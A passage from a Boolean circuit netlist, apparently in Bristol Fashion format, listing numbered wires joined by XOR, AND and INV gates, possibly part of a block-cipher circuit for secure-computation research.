14881 14913 14868 AND +2 1 14878 14919 14867 AND +2 1 14885 14916 14866 AND +2 1 14888 14920 14865 AND +2 1 14879 14924 14864 AND +2 1 14864 14868 14841 XOR +2 1 14873 14864 14826 XOR +1 1 14841 14819 INV +2 1 14882 14917 14863 AND +2 1 14871 14863 14828 XOR +2 1 14892 14918 14862 AND +2 1 14819 14862 14818 XOR +2 1 14818 14856 14814 XOR +2 1 14880 14923 14861 AND +2 1 14861 14814 14817 XOR +2 1 14877 14925 14860 AND +2 1 14860 14861 14855 XOR +2 1 14866 14855 14837 XOR +2 1 14867 14837 14838 XOR +2 1 14875 14838 14842 XOR +2 1 14876 14842 14847 XOR +2 1 14828 14855 14824 XOR +2 1 14856 14824 14827 XOR +2 1 14826 14827 14929 XOR +2 1 14819 14824 14823 XOR +2 1 14822 14823 14928 XOR +2 1 14847 14821 14927 XOR +2 1 14837 14814 14813 XOR +2 1 14874 14842 14811 XOR +2 1 14810 14811 35213 XOR +2 1 35219 35213 6353 XOR +2 1 14881 14922 14859 AND +2 1 14870 14859 14820 XOR +1 1 14820 14816 INV +2 1 14816 14817 14926 XOR +2 1 34952 294 33599 XOR +2 1 33599 33601 6100 XOR +2 1 33600 6100 6102 XOR +2 1 6100 6194 6186 XOR +2 1 6107 6102 6182 XOR +2 1 6100 6063 6184 XOR +2 1 33605 33599 6195 XOR +2 1 33599 6192 6188 XOR +2 1 6192 6188 6175 AND +2 1 33599 33600 6117 XOR +2 1 6117 6189 6187 XOR +2 1 6194 6117 6190 XOR +2 1 6186 6190 6179 AND +2 1 6179 6103 6106 XOR +2 1 33604 6102 6183 XOR +2 1 33603 6102 6180 XOR +2 1 6195 6180 6176 AND +2 1 6176 6101 6105 XOR +2 1 33598 6186 6185 XOR +2 1 6187 6185 6178 AND +2 1 6172 6178 6124 XOR +2 1 6189 6182 6174 AND +2 1 6194 6183 6173 AND +2 1 6173 6102 6104 XOR +2 1 6106 6104 6110 XOR +2 1 33605 6110 6115 XOR +2 1 6124 6115 6170 XOR +2 1 6172 6173 6076 XOR +2 1 6076 6077 6123 XOR +2 1 6123 6105 6122 XOR +2 1 6175 6122 6169 XOR +2 1 6193 6184 6171 AND +2 1 6171 6174 6125 XOR +2 1 6172 6125 6119 XOR +2 1 6175 6119 6075 XOR +2 1 6171 6177 6129 XOR +2 1 6129 6101 6116 XOR +2 1 6124 6116 6167 XOR +2 1 6105 6125 6079 XOR +2 1 6079 6104 6168 XOR +2 1 6110 6129 6078 XOR +2 1 33603 6078 6121 XOR +2 1 33599 6075 6162 XOR +2 1 6170 6169 6166 AND +2 1 6166 6168 6165 XOR +2 1 6167 6165 6164 AND +2 1 6164 6176 6070 XOR +2 1 6070 6106 6066 XOR +2 1 33605 6066 6069 XOR +2 1 6164 6115 6067 XOR +2 1 33603 6066 6065 XOR +2 1 6166 6121 6161 XOR +2 1 6161 6162 6160 AND +2 1 6166 6160 6158 XOR +2 1 6168 6158 6157 AND +2 1 6157 6165 6155 XOR +2 1 6160 6119 6074 XOR +2 1 6160 6177 6073 XOR +2 1 6073 6174 6068 XOR +2 1 6068 6069 6151 XOR +2 1 6151 6194 6132 AND +2 1 6151 6183 6141 AND +2 1 6157 6175 6128 XOR +2 1 33599 6128 6111 XOR +2 1 6160 6168 6159 XOR +2 1 6159 6191 6136 AND +2 1 6159 33598 6145 AND +2 1 6128 6122 6149 XOR +2 1 6149 6186 6147 AND +2 1 6149 6190 6138 AND +2 1 6164 6121 6163 XOR +2 1 6163 6155 6154 AND +2 1 6163 6189 6133 AND +2 1 6163 6182 6142 AND +2 1 6154 6124 6114 XOR +2 1 6114 6116 6153 XOR +2 1 6153 6188 6134 AND +2 1 6153 6192 6143 AND +2 1 6114 6067 6150 XOR +2 1 6150 6180 6144 AND +2 1 6150 6195 6135 AND +2 1 6144 6135 6097 XOR +2 1 6142 6134 6099 XOR +2 1 6145 6147 6127 XOR +2 1 6142 6143 6081 XOR +2 1 6111 6074 6156 XOR +2 1 6156 6187 6137 AND +2 1 6156 6185 6146 AND +2 1 6154 6178 6072 XOR +2 1 6111 6072 6064 XOR +2 1 6064 6065 6148 XOR +2 1 6148 6196 6131 AND +2 1 6148 6181 6140 AND +2 1 6140 6143 6096 XOR +2 1 6131 6132 6126 XOR +2 1 6137 6126 6108 XOR +2 1 6138 6108 6109 XOR +2 1 6099 6126 6095 XOR +1 1 6096 6093 INV +2 1 6146 6109 6113 XOR +2 1 6147 6113 6118 XOR +2 1 6140 6141 6092 XOR +2 1 6118 6092 6198 XOR +2 1 6127 6095 6098 XOR +2 1 6097 6098 6200 XOR +2 1 6145 6113 6082 XOR +2 1 6081 6082 35245 XOR +2 1 6378 35245 6375 XOR +2 1 6375 6376 6668 XOR +2 1 6101 6064 6071 XOR +2 1 6068 6071 6152 XOR +2 1 6152 6184 6139 AND +2 1 6135 6139 6112 XOR +1 1 6112 6090 INV +2 1 6090 6095 6094 XOR +2 1 6093 6094 6199 XOR +2 1 6152 6193 6130 AND +2 1 6141 6130 6091 XOR +1 1 6091 6087 INV +2 1 6090 6133 6089 XOR +2 1 6089 6127 6085 XOR +2 1 6132 6085 6088 XOR +2 1 6087 6088 6197 XOR +2 1 6108 6085 6084 XOR +2 1 35213 35218 6624 XOR +1 1 6624 6488 INV +2 1 6624 6622 6466 XOR +2 1 6488 6612 6486 XOR +2 1 6466 6467 35123 XOR +2 1 35123 964 33697 XOR +2 1 35241 35245 6630 XOR +2 1 6424 6630 6433 XOR +2 1 6433 6434 35139 XOR +2 1 35139 948 33713 XOR +2 1 6405 6630 6403 XOR +2 1 6668 6641 35147 XOR +2 1 35147 940 33721 XOR +2 1 6674 6624 35115 XOR +2 1 35115 972 33689 XOR +2 1 33590 24513 24512 XOR +2 1 33590 33596 24433 XOR +2 1 24433 24428 24509 XOR +2 1 24427 24433 24516 XOR +2 1 24443 24516 24514 XOR +2 1 33595 24433 24519 XOR +2 1 33591 24519 24515 XOR +2 1 33590 24388 24518 XOR +2 1 24514 24512 24505 AND +2 1 24499 24505 24450 XOR +2 1 24450 24441 24497 XOR +2 1 24518 33590 24504 AND +2 1 24498 24504 24455 XOR +2 1 24455 24427 24442 XOR +2 1 24450 24442 24494 XOR +2 1 24436 24455 24404 XOR +2 1 33595 24404 24447 XOR +2 1 24519 24515 24502 AND +2 1 24502 24448 24496 XOR +2 1 24516 24509 24501 AND +2 1 24498 24501 24451 XOR +2 1 24499 24451 24445 XOR +2 1 24431 24451 24405 XOR +2 1 24405 24430 24495 XOR +2 1 24502 24445 24401 XOR +2 1 33591 24401 24489 XOR +2 1 24497 24496 24493 AND +2 1 24493 24447 24488 XOR +2 1 24493 24495 24492 XOR +2 1 24494 24492 24491 AND +2 1 24491 24447 24490 XOR +2 1 24491 24503 24396 XOR +2 1 24396 24432 24392 XOR +2 1 33597 24392 24395 XOR +2 1 24491 24441 24393 XOR +2 1 33595 24392 24391 XOR +2 1 24488 24489 24487 AND +2 1 24487 24495 24486 XOR +2 1 24493 24487 24485 XOR +2 1 24487 24445 24400 XOR +2 1 24487 24504 24399 XOR +2 1 24399 24501 24394 XOR +2 1 24394 24395 24478 XOR +2 1 24495 24485 24484 AND +2 1 24484 24492 24482 XOR +2 1 24484 24502 24454 XOR +2 1 24454 24448 24476 XOR +2 1 33591 24454 24437 XOR +2 1 24437 24400 24483 XOR +2 1 24490 24482 24481 AND +2 1 24481 24450 24440 XOR +2 1 24440 24442 24480 XOR +2 1 24481 24505 24398 XOR +2 1 24437 24398 24390 XOR +2 1 24427 24390 24397 XOR +2 1 24394 24397 24479 XOR +2 1 24440 24393 24477 XOR +2 1 24390 24391 24475 XOR +2 1 24476 24513 24474 AND +2 1 24483 24512 24473 AND +2 1 24486 33590 24472 AND +2 1 24472 24474 24453 XOR +2 1 24477 24507 24471 AND +2 1 24480 24519 24470 AND +2 1 24470 24471 24456 XOR +2 1 24490 24509 24469 AND +2 1 24469 24470 24407 XOR +2 1 24478 24510 24468 AND +2 1 24475 24508 24467 AND +2 1 24467 24456 24446 XOR +2 1 24467 24470 24422 XOR +1 1 24422 24419 INV +2 1 24467 24468 24418 XOR +2 1 24468 24446 24406 XOR +2 1 24479 24511 24466 AND +2 1 24476 24517 24465 AND +2 1 24483 24514 24464 AND +2 1 24486 24518 24463 AND +2 1 24463 24446 24412 XOR +1 1 24412 24409 INV +2 1 24477 24522 24462 AND +2 1 24462 24466 24438 XOR +2 1 24471 24462 24423 XOR +1 1 24438 24416 INV +2 1 24480 24515 24461 AND +2 1 24469 24461 24425 XOR +2 1 24490 24516 24460 AND +2 1 24416 24460 24415 XOR +2 1 24415 24453 24411 XOR +2 1 24478 24521 24459 AND +2 1 24459 24411 24414 XOR +2 1 24475 24523 24458 AND +2 1 24458 24459 24452 XOR +2 1 24464 24452 24434 XOR +2 1 24465 24434 24435 XOR +2 1 24473 24435 24439 XOR +2 1 24474 24439 24444 XOR +2 1 24456 24444 35259 XOR +2 1 35259 35263 6605 XOR +2 1 24425 24452 24421 XOR +2 1 24453 24421 24424 XOR +2 1 24423 24424 24527 XOR +2 1 24416 24421 24420 XOR +2 1 24419 24420 24526 XOR +2 1 24444 24418 24525 XOR +2 1 24434 24411 24410 XOR +2 1 24409 24410 35257 XOR +2 1 35257 35261 6606 XOR +2 1 24472 24439 24408 XOR +2 1 24407 24408 35258 XOR +2 1 35259 35258 6396 XOR +2 1 35254 35258 6608 XOR +2 1 6608 6606 6547 XOR +2 1 24435 24406 35260 XOR +2 1 35260 35264 6588 XOR +2 1 6588 35262 6395 XOR +2 1 6395 6396 6660 XOR +1 1 6588 6684 INV +2 1 6684 32784 6579 XOR +2 1 35256 35260 6603 XOR +2 1 6603 35263 6560 XOR +2 1 6603 32785 6340 XOR +2 1 6603 35257 6342 XOR +2 1 6342 6343 6682 XOR +2 1 24479 24520 24457 AND +2 1 24468 24457 24417 XOR +1 1 24417 24413 INV +2 1 24413 24414 24524 XOR +2 1 6143 6144 32653 XOR +2 1 32653 6118 35246 XOR +2 1 6378 35246 6379 XOR +2 1 35242 35246 6621 XOR +2 1 6626 6621 6402 XOR +2 1 32980 6402 35157 XOR +2 1 35157 930 33731 XOR +2 1 6408 6621 6431 XOR +2 1 6431 6432 35140 XOR +2 1 6379 6380 6667 XOR +2 1 6667 6633 35148 XOR +2 1 35148 939 33722 XOR +2 1 35140 947 33714 XOR +2 1 6140 32653 6120 XOR +2 1 6141 6120 6080 XOR +2 1 6109 6080 35247 XOR +2 1 33227 35247 6415 XOR +2 1 6415 6416 35151 XOR +2 1 35151 936 33725 XOR +2 1 33722 33725 14228 XOR +2 1 6136 6120 6086 XOR +1 1 6086 6083 INV +2 1 6083 6084 35244 XOR +2 1 6424 35244 6422 XOR +2 1 6422 6423 35146 XOR +2 1 35146 941 33720 XOR +2 1 33720 33722 14230 XOR +2 1 33721 33720 14111 XOR +2 1 33725 33720 14227 XOR +2 1 35232 35247 6598 XOR +2 1 6598 35245 6371 XOR +2 1 6371 6372 6670 XOR +2 1 6670 6621 35132 XOR +2 1 35132 955 33706 XOR +2 1 35240 35244 6640 XOR +2 1 6655 6640 6435 XOR +2 1 35229 6435 35138 XOR +1 1 6640 6453 INV +2 1 35138 949 33712 XOR +2 1 6408 6640 6406 XOR +2 1 33712 33714 16593 XOR +2 1 33713 33712 16474 XOR +2 1 35243 35247 6590 XOR +2 1 6619 6590 6428 XOR +2 1 35232 6428 35143 XOR +2 1 35143 944 33717 XOR +2 1 6656 6590 6414 XOR +2 1 32975 6414 35152 XOR +2 1 35152 935 33726 XOR +2 1 33714 33717 16591 XOR +2 1 33717 33712 16590 XOR +1 1 6590 6686 INV +2 1 6686 35241 6407 XOR +2 1 6686 32974 6412 XOR +2 1 6406 6407 35155 XOR +2 1 35155 932 33729 XOR +2 1 6686 35242 6404 XOR +2 1 6403 6404 35156 XOR +2 1 35156 931 33730 XOR +2 1 14872 14873 32660 XOR +2 1 32660 14847 35214 XOR +2 1 32941 35214 6504 XOR +2 1 6503 6504 35101 XOR +2 1 35101 986 33675 XOR +2 1 35214 35219 6620 XOR +2 1 6620 6607 6485 XOR +1 1 6620 6462 INV +2 1 6462 6617 6459 XOR +2 1 6459 6460 35124 XOR +2 1 35124 963 33698 XOR +2 1 6673 6620 35116 XOR +2 1 35116 971 33690 XOR +2 1 14869 32660 14849 XOR +2 1 14865 14849 14815 XOR +1 1 14815 14812 INV +2 1 14812 14813 35212 XOR +2 1 14870 14849 14809 XOR +2 1 14838 14809 35215 XOR +2 1 6351 35212 6350 XOR +2 1 35215 35220 6592 XOR +2 1 6629 6592 6495 XOR +2 1 6592 33032 6455 XOR +2 1 6455 6456 35127 XOR +2 1 6609 6592 6472 XOR +2 1 35228 6472 35119 XOR +2 1 35127 960 33701 XOR +2 1 35119 968 33693 XOR +2 1 33690 33693 14367 XOR +2 1 33698 33701 6822 XOR +2 1 35215 35228 6601 XOR +2 1 6629 6601 6507 XOR +2 1 32943 6507 35096 XOR +2 1 35096 991 33670 XOR +2 1 6601 35226 6352 XOR +2 1 6352 6353 6678 XOR +1 1 6601 6348 INV +2 1 6348 35225 6349 XOR +2 1 6348 33026 6346 XOR +2 1 6349 6350 6679 XOR +2 1 6678 6612 35100 XOR +2 1 35100 987 33674 XOR +2 1 6679 6617 35099 XOR +2 1 35099 988 33673 XOR +2 1 35212 35217 6627 XOR +1 1 6627 6480 INV +2 1 6480 35225 6478 XOR +2 1 6480 6617 6489 XOR +2 1 6478 6479 35114 XOR +2 1 35114 973 33688 XOR +2 1 33688 33690 14369 XOR +2 1 33689 33688 14250 XOR +2 1 33693 33688 14366 XOR +2 1 6627 6625 6468 XOR +2 1 35221 6468 35122 XOR +2 1 35122 965 33696 XOR +2 1 33701 33696 6821 XOR +2 1 33697 33696 6704 XOR +2 1 33696 33698 6824 XOR +1 1 6598 6367 INV +2 1 6367 35244 6368 XOR +2 1 6368 6369 6671 XOR +2 1 6671 6630 35131 XOR +2 1 35131 956 33705 XOR +2 1 6032 6038 5990 XOR +2 1 5990 5962 5977 XOR +2 1 5985 5977 6028 XOR +2 1 6028 6026 6025 AND +2 1 6025 5976 5928 XOR +2 1 6025 6037 5931 XOR +2 1 5931 5967 5927 XOR +2 1 33587 5927 5926 XOR +2 1 33589 5927 5930 XOR +2 1 5971 5990 5939 XOR +2 1 33587 5939 5982 XOR +2 1 6027 5982 6022 XOR +2 1 6025 5982 6024 XOR +2 1 6022 6023 6021 AND +2 1 6021 6029 6020 XOR +2 1 6027 6021 6019 XOR +2 1 6021 6038 5934 XOR +2 1 5934 6035 5929 XOR +2 1 6029 6019 6018 AND +2 1 6018 6026 6016 XOR +2 1 6024 6016 6015 AND +2 1 6015 5985 5975 XOR +2 1 5975 5977 6014 XOR +2 1 6020 33582 6006 AND +2 1 5929 5930 6012 XOR +2 1 6014 6053 6004 AND +2 1 6024 6043 6003 AND +2 1 6003 6004 5942 XOR +2 1 5975 5928 6011 XOR +2 1 6011 6041 6005 AND +2 1 6012 6044 6002 AND +2 1 6020 6052 5997 AND +2 1 6011 6056 5996 AND +2 1 6014 6049 5995 AND +2 1 6005 5996 5958 XOR +2 1 6003 5995 5960 XOR +2 1 6021 5980 5935 XOR +2 1 6015 6039 5933 XOR +2 1 6024 6050 5994 AND +2 1 6012 6055 5993 AND +2 1 6018 6036 5989 XOR +2 1 33583 5989 5972 XOR +2 1 5972 5935 6017 XOR +2 1 6017 6048 5998 AND +2 1 6017 6046 6007 AND +2 1 5972 5933 5925 XOR +2 1 5925 5926 6009 XOR +2 1 6009 6042 6001 AND +2 1 6001 6002 5953 XOR +2 1 6001 6004 5957 XOR +1 1 5957 5954 INV +2 1 5962 5925 5932 XOR +2 1 5929 5932 6013 XOR +2 1 6013 6045 6000 AND +2 1 6009 6057 5992 AND +2 1 5992 5993 5987 XOR +2 1 5998 5987 5969 XOR +2 1 5960 5987 5956 XOR +2 1 6013 6054 5991 AND +2 1 6002 5991 5952 XOR +1 1 5952 5948 INV +2 1 5996 6000 5973 XOR +1 1 5973 5951 INV +2 1 5951 5956 5955 XOR +2 1 5954 5955 6060 XOR +2 1 5951 5994 5950 XOR +2 1 5989 5983 6010 XOR +2 1 6010 6047 6008 AND +2 1 6010 6051 5999 AND +2 1 5999 5969 5970 XOR +2 1 6007 5970 5974 XOR +2 1 6006 5974 5943 XOR +2 1 5942 5943 35197 XOR +2 1 6008 5974 5979 XOR +2 1 5979 5953 6059 XOR +1 1 6059 35200 INV +2 1 32903 35200 6645 XOR +2 1 32895 6059 6520 XOR +2 1 35204 35197 6382 XOR +2 1 35193 35197 6659 XOR +1 1 6659 6541 INV +2 1 6004 6005 32652 XOR +2 1 6001 32652 5981 XOR +2 1 5997 5981 5947 XOR +2 1 6002 5981 5941 XOR +2 1 5970 5941 35201 XOR +1 1 5947 5944 INV +2 1 35201 35206 6596 XOR +1 1 6596 6530 INV +2 1 35195 35201 6595 XOR +2 1 6595 35193 6385 XOR +1 1 6595 6688 INV +2 1 6688 35194 6540 XOR +2 1 32652 5979 35198 XOR +2 1 35194 35198 6650 XOR +2 1 35205 35198 6524 XOR +2 1 6006 6008 5988 XOR +2 1 5950 5988 5946 XOR +2 1 5993 5946 5949 XOR +2 1 5948 5949 6058 XOR +2 1 32894 6058 6522 XOR +1 1 6058 35199 INV +2 1 32902 35199 6647 XOR +2 1 5969 5946 5945 XOR +2 1 5944 5945 35196 XOR +2 1 35196 35203 6634 XOR +2 1 35192 35196 6386 XOR +2 1 6385 6386 6664 XOR +1 1 6634 6517 INV +2 1 6659 6517 6528 XOR +2 1 6517 35192 6515 XOR +2 1 5988 5956 5959 XOR +2 1 5958 5959 6061 XOR +1 1 6060 32777 INV +2 1 6530 32777 6534 XOR +2 1 32777 35202 6636 XOR +1 1 6061 32778 INV +2 1 6688 32778 6383 XOR +2 1 6383 6384 6665 XOR +2 1 32778 32896 6635 XOR +1 1 6197 32779 INV +2 1 6626 32779 6420 XOR +2 1 6420 6421 35149 XOR +2 1 35149 938 33723 XOR +2 1 33723 33725 14135 XOR +2 1 14135 14230 14215 XOR +2 1 14230 14215 14206 AND +2 1 32980 32779 6615 XOR +2 1 6633 6615 6430 XOR +2 1 6615 35246 6450 XOR +1 1 6450 6448 INV +2 1 6448 6449 35133 XOR +2 1 32976 6430 35141 XOR +2 1 35141 946 33715 XOR +2 1 35133 954 33707 XOR +2 1 33715 33717 16498 XOR +2 1 16498 16593 16578 XOR +2 1 16593 16578 16569 AND +2 1 6619 6615 6401 XOR +2 1 32973 6401 35158 XOR +2 1 35158 929 33732 XOR +2 1 33726 33732 12461 XOR +2 1 33731 12461 12547 XOR +2 1 33730 33732 12457 XOR +2 1 12457 33731 12416 XOR +2 1 33726 12416 12546 XOR +2 1 12546 33726 12532 AND +1 1 6198 32780 INV +2 1 6590 32780 6440 XOR +2 1 6440 6441 35135 XOR +2 1 35135 952 33709 XOR +2 1 6619 32780 6419 XOR +1 1 6419 6417 INV +2 1 6417 6418 35150 XOR +2 1 35150 937 33724 XOR +2 1 33722 33724 14137 XOR +2 1 14137 14135 14097 XOR +2 1 14137 33723 14096 XOR +2 1 33707 33709 19556 XOR +2 1 33706 33709 19649 XOR +2 1 32973 32780 6604 XOR +2 1 6604 6593 6400 XOR +2 1 6626 6604 6429 XOR +2 1 32969 6429 35142 XOR +2 1 6604 32779 6443 XOR +2 1 6443 6444 6442 XOR +1 1 6442 35134 INV +2 1 35142 945 33716 XOR +2 1 35134 953 33708 XOR +2 1 35243 6400 35159 XOR +2 1 35159 928 33733 XOR +2 1 33714 33716 16500 XOR +2 1 16500 16498 16460 XOR +2 1 16500 33715 16459 XOR +2 1 33731 33733 12455 XOR +2 1 12457 12455 12417 XOR +2 1 12455 12461 12544 XOR +2 1 33706 33708 19558 XOR +2 1 19558 19556 19518 XOR +2 1 19558 33707 19517 XOR +2 1 33730 33733 12549 XOR +1 1 6199 32781 INV +2 1 32974 32781 6644 XOR +2 1 6648 6644 6409 XOR +2 1 6656 6644 6437 XOR +2 1 6437 6438 6436 XOR +1 1 6436 35137 INV +2 1 6453 32781 6451 XOR +2 1 6451 6452 35130 XOR +2 1 35137 950 33711 XOR +2 1 35130 957 33704 XOR +2 1 35240 6409 35154 XOR +2 1 35154 933 33728 XOR +2 1 33711 33713 16497 XOR +2 1 33712 16497 16499 XOR +2 1 33716 16499 16580 XOR +2 1 33715 16499 16577 XOR +2 1 16497 16591 16583 XOR +2 1 33711 33712 16514 XOR +2 1 16591 16514 16587 XOR +2 1 16497 16460 16581 XOR +2 1 33717 33711 16592 XOR +2 1 16583 16587 16576 AND +2 1 16576 16500 16503 XOR +2 1 16592 16577 16573 AND +2 1 16573 16498 16502 XOR +2 1 16591 16580 16570 AND +2 1 16570 16499 16501 XOR +2 1 16503 16501 16507 XOR +2 1 33717 16507 16512 XOR +2 1 16569 16570 16473 XOR +2 1 16473 16474 16520 XOR +2 1 16520 16502 16519 XOR +2 1 16590 16581 16568 AND +2 1 6597 32781 6373 XOR +2 1 33733 33728 12548 XOR +2 1 33704 33706 19651 XOR +2 1 19556 19651 19636 XOR +2 1 33705 33704 19532 XOR +2 1 33709 33704 19648 XOR +2 1 19651 19636 19627 AND +2 1 33728 33730 12551 XOR +2 1 12455 12551 12536 XOR +2 1 12551 12536 12527 AND +2 1 6373 6374 6669 XOR +2 1 33729 33728 12431 XOR +2 1 6669 6655 35145 XOR +2 1 35145 942 33719 XOR +2 1 33719 33721 14134 XOR +2 1 33720 14134 14136 XOR +2 1 33724 14136 14217 XOR +2 1 33723 14136 14214 XOR +2 1 14134 14228 14220 XOR +2 1 33719 33720 14151 XOR +2 1 14228 14151 14224 XOR +2 1 14134 14097 14218 XOR +2 1 33725 33719 14229 XOR +2 1 14220 14224 14213 AND +2 1 14213 14137 14140 XOR +2 1 14229 14214 14210 AND +2 1 14210 14135 14139 XOR +2 1 14228 14217 14207 AND +2 1 14207 14136 14138 XOR +2 1 14140 14138 14144 XOR +2 1 33725 14144 14149 XOR +2 1 14206 14207 14110 XOR +2 1 14110 14111 14157 XOR +2 1 14157 14139 14156 XOR +2 1 14227 14218 14205 AND +1 1 6200 32782 INV +2 1 32782 6425 35144 XOR +2 1 35144 943 33718 XOR +2 1 33718 14220 14219 XOR +2 1 33718 33724 14141 XOR +2 1 14141 14136 14216 XOR +2 1 14135 14141 14223 XOR +2 1 14151 14223 14221 XOR +2 1 33723 14141 14226 XOR +2 1 33719 14226 14222 XOR +2 1 33718 14096 14225 XOR +2 1 14221 14219 14212 AND +2 1 14206 14212 14158 XOR +2 1 14158 14149 14204 XOR +2 1 14225 33718 14211 AND +2 1 14205 14211 14163 XOR +2 1 14163 14135 14150 XOR +2 1 14158 14150 14201 XOR +2 1 14144 14163 14112 XOR +2 1 33723 14112 14155 XOR +2 1 14226 14222 14209 AND +2 1 14209 14156 14203 XOR +2 1 14223 14216 14208 AND +2 1 14205 14208 14159 XOR +2 1 14206 14159 14153 XOR +2 1 14139 14159 14113 XOR +2 1 14113 14138 14202 XOR +2 1 14209 14153 14109 XOR +2 1 33719 14109 14196 XOR +2 1 14204 14203 14200 AND +2 1 14200 14155 14195 XOR +2 1 14200 14202 14199 XOR +2 1 14201 14199 14198 AND +2 1 14198 14155 14197 XOR +2 1 14198 14210 14104 XOR +2 1 14104 14140 14100 XOR +2 1 33725 14100 14103 XOR +2 1 14198 14149 14101 XOR +2 1 33723 14100 14099 XOR +2 1 14195 14196 14194 AND +2 1 14194 14202 14193 XOR +2 1 14200 14194 14192 XOR +2 1 14194 14153 14108 XOR +2 1 14194 14211 14107 XOR +2 1 14107 14208 14102 XOR +2 1 14102 14103 14185 XOR +2 1 14202 14192 14191 AND +2 1 14191 14199 14189 XOR +2 1 14191 14209 14162 XOR +2 1 14162 14156 14183 XOR +2 1 33719 14162 14145 XOR +2 1 14145 14108 14190 XOR +2 1 14197 14189 14188 AND +2 1 14188 14158 14148 XOR +2 1 14148 14150 14187 XOR +2 1 14188 14212 14106 XOR +2 1 14145 14106 14098 XOR +2 1 14135 14098 14105 XOR +2 1 14102 14105 14186 XOR +2 1 14148 14101 14184 XOR +2 1 14098 14099 14182 XOR +2 1 14183 14220 14181 AND +2 1 14190 14219 14180 AND +2 1 14193 33718 14179 AND +2 1 14179 14181 14161 XOR +2 1 14184 14214 14178 AND +2 1 14187 14226 14177 AND +2 1 14197 14216 14176 AND +2 1 14176 14177 14115 XOR +2 1 14185 14217 14175 AND +2 1 14182 14215 14174 AND +2 1 14174 14177 14130 XOR +1 1 14130 14127 INV +2 1 14174 14175 14126 XOR +2 1 14186 14218 14173 AND +2 1 14183 14224 14172 AND +2 1 14190 14221 14171 AND +2 1 14193 14225 14170 AND +2 1 14184 14229 14169 AND +2 1 14169 14173 14146 XOR +2 1 14178 14169 14131 XOR +1 1 14146 14124 INV +2 1 14187 14222 14168 AND +2 1 14176 14168 14133 XOR +2 1 14197 14223 14167 AND +2 1 14124 14167 14123 XOR +2 1 14123 14161 14119 XOR +2 1 14185 14228 14166 AND +2 1 14166 14119 14122 XOR +2 1 14182 14230 14165 AND +2 1 14165 14166 14160 XOR +2 1 14171 14160 14142 XOR +2 1 14172 14142 14143 XOR +2 1 14180 14143 14147 XOR +2 1 14181 14147 14152 XOR +2 1 14133 14160 14129 XOR +2 1 14161 14129 14132 XOR +2 1 14131 14132 14234 XOR +2 1 14124 14129 14128 XOR +2 1 14127 14128 14233 XOR +2 1 14152 14126 14232 XOR +2 1 14142 14119 14118 XOR +2 1 14179 14147 14116 XOR +2 1 14115 14116 35459 XOR +2 1 14186 14227 14164 AND +2 1 14175 14164 14125 XOR +1 1 14125 14121 INV +2 1 14121 14122 14231 XOR +2 1 6367 32782 6365 XOR +2 1 6365 6366 6672 XOR +2 1 32975 32782 6652 XOR +2 1 6652 6593 6439 XOR +2 1 32971 6439 35136 XOR +2 1 6652 6598 6454 XOR +2 1 32926 6454 35128 XOR +2 1 35136 951 33710 XOR +2 1 35128 959 33702 XOR +2 1 33710 16583 16582 XOR +2 1 33710 33716 16504 XOR +2 1 16504 16499 16579 XOR +2 1 16498 16504 16586 XOR +2 1 16514 16586 16584 XOR +2 1 33715 16504 16589 XOR +2 1 33711 16589 16585 XOR +2 1 33710 16459 16588 XOR +2 1 16584 16582 16575 AND +2 1 16569 16575 16521 XOR +2 1 16521 16512 16567 XOR +2 1 16588 33710 16574 AND +2 1 16568 16574 16526 XOR +2 1 16526 16498 16513 XOR +2 1 16521 16513 16564 XOR +2 1 16507 16526 16475 XOR +2 1 33715 16475 16518 XOR +2 1 16589 16585 16572 AND +2 1 16572 16519 16566 XOR +2 1 16586 16579 16571 AND +2 1 16568 16571 16522 XOR +2 1 16569 16522 16516 XOR +2 1 16502 16522 16476 XOR +2 1 16476 16501 16565 XOR +2 1 16572 16516 16472 XOR +2 1 33711 16472 16559 XOR +2 1 16567 16566 16563 AND +2 1 16563 16518 16558 XOR +2 1 16563 16565 16562 XOR +2 1 16564 16562 16561 AND +2 1 16561 16518 16560 XOR +2 1 16561 16573 16467 XOR +2 1 16467 16503 16463 XOR +2 1 33717 16463 16466 XOR +2 1 16561 16512 16464 XOR +2 1 33715 16463 16462 XOR +2 1 16558 16559 16557 AND +2 1 16557 16565 16556 XOR +2 1 16563 16557 16555 XOR +2 1 16557 16516 16471 XOR +2 1 16557 16574 16470 XOR +2 1 16470 16571 16465 XOR +2 1 16465 16466 16548 XOR +2 1 16565 16555 16554 AND +2 1 16554 16562 16552 XOR +2 1 16554 16572 16525 XOR +2 1 16525 16519 16546 XOR +2 1 33711 16525 16508 XOR +2 1 16508 16471 16553 XOR +2 1 16560 16552 16551 AND +2 1 16551 16521 16511 XOR +2 1 16511 16513 16550 XOR +2 1 16551 16575 16469 XOR +2 1 16508 16469 16461 XOR +2 1 16498 16461 16468 XOR +2 1 16465 16468 16549 XOR +2 1 16511 16464 16547 XOR +2 1 16461 16462 16545 XOR +2 1 16546 16583 16544 AND +2 1 16553 16582 16543 AND +2 1 16556 33710 16542 AND +2 1 16542 16544 16524 XOR +2 1 16547 16577 16541 AND +2 1 16550 16589 16540 AND +2 1 16560 16579 16539 AND +2 1 16539 16540 16478 XOR +2 1 16548 16580 16538 AND +2 1 16545 16578 16537 AND +2 1 16537 16540 16493 XOR +1 1 16493 16490 INV +2 1 16537 16538 16489 XOR +2 1 16549 16581 16536 AND +2 1 16546 16587 16535 AND +2 1 16553 16584 16534 AND +2 1 16556 16588 16533 AND +2 1 16547 16592 16532 AND +2 1 16532 16536 16509 XOR +2 1 16541 16532 16494 XOR +1 1 16509 16487 INV +2 1 16550 16585 16531 AND +2 1 16539 16531 16496 XOR +2 1 16560 16586 16530 AND +2 1 16487 16530 16486 XOR +2 1 16486 16524 16482 XOR +2 1 16548 16591 16529 AND +2 1 16529 16482 16485 XOR +2 1 16545 16593 16528 AND +2 1 16528 16529 16523 XOR +2 1 16534 16523 16505 XOR +2 1 16535 16505 16506 XOR +2 1 16543 16506 16510 XOR +2 1 16544 16510 16515 XOR +2 1 16496 16523 16492 XOR +2 1 16524 16492 16495 XOR +2 1 16494 16495 16597 XOR +2 1 16487 16492 16491 XOR +2 1 16490 16491 16596 XOR +2 1 16515 16489 16595 XOR +2 1 16505 16482 16481 XOR +2 1 16542 16510 16479 XOR +2 1 16478 16479 35398 XOR +2 1 16549 16590 16527 AND +2 1 16538 16527 16488 XOR +1 1 16488 16484 INV +2 1 16484 16485 16594 XOR +1 1 16595 35401 INV +1 1 16594 35400 INV +2 1 6655 6652 6413 XOR +1 1 6413 6411 INV +2 1 6411 6412 35153 XOR +2 1 35153 934 33727 XOR +2 1 33733 33727 12550 XOR +2 1 33702 33708 19562 XOR +2 1 19556 19562 19644 XOR +2 1 33707 19562 